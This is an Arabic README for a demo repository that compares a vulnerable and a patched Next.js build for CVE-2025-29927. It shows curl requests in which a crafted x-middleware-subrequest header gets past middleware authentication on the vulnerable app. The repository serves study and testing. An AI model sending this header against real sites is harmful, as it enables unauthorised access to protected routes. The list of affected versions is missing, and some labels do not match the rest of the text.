
vulnerable-nextjs-14-CVE-2025-29927
هذا المستودع هو مشروع monorepo يتيح لك مقارنة ثغرة CVE-2025-29927 في البرمجيات الوسيطة (Middleware) باستخدام إصدار Next.js 15.2.3 وإصدار Next.js 15.1.7.
CVE-2025-29927 هي ثغرة أمنية اكتُشفت في البرمجيات الوسيطة (Middleware) في Next.js، وتتمثل في إمكانية تجاوز برمجية المصادقة الوسيطة باستخدام الترويسة x-middleware-subrequest. تؤثر هذه الثغرة على الإصدارات التالية:
وقد تم إصلاح هذه الإصدارات بتحديثها إلى إصدارات التصحيح المقابلة لها على التوالي.
pnpm installpnpm dev$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}
$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}
nextjs-cve-2025-29927/
├── apps/
│ ├── next15_1_7/ # 취약한 버전
│ └── next15_2_3/ # 패치된 버전
├── packages/
│ └── ui/ # 공유 UI 컴포넌트
└── README.md